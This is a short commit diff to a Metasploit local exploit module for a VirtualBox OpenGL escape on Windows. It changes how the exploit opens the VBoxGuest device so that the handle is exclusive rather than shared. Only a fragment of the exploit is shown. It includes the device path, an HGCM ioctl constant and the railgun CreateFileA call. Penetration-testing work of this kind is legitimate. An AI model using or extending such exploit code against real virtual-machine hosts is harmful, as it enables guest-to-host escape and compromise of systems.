Dont share once device is opened

Author: jvazquez-r7

modules/exploits/windows/local/virtual_box_opengl_escape.rb

@@ -11,8 +11,6 @@ class Metasploit3 < Msf::Exploit::Local
 
   DEVICE               = '\\\\.\\VBoxGuest'
   INVALID_HANDLE_VALUE = 0xFFFFFFFF
-  FILE_SHARE_READ      = 0x00000001
-  FILE_SHARE_WRITE     = 0x00000002
 
   # VBOX HGCM protocol constants
   VBOXGUEST_IOCTL_HGCM_CONNECT    = 2269248
@@ -88,7 +86,7 @@ def initialize(info={})
   end
 
   def open_device
-    r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", FILE_SHARE_READ | FILE_SHARE_WRITE, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
+    r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
 
     handle = r['return']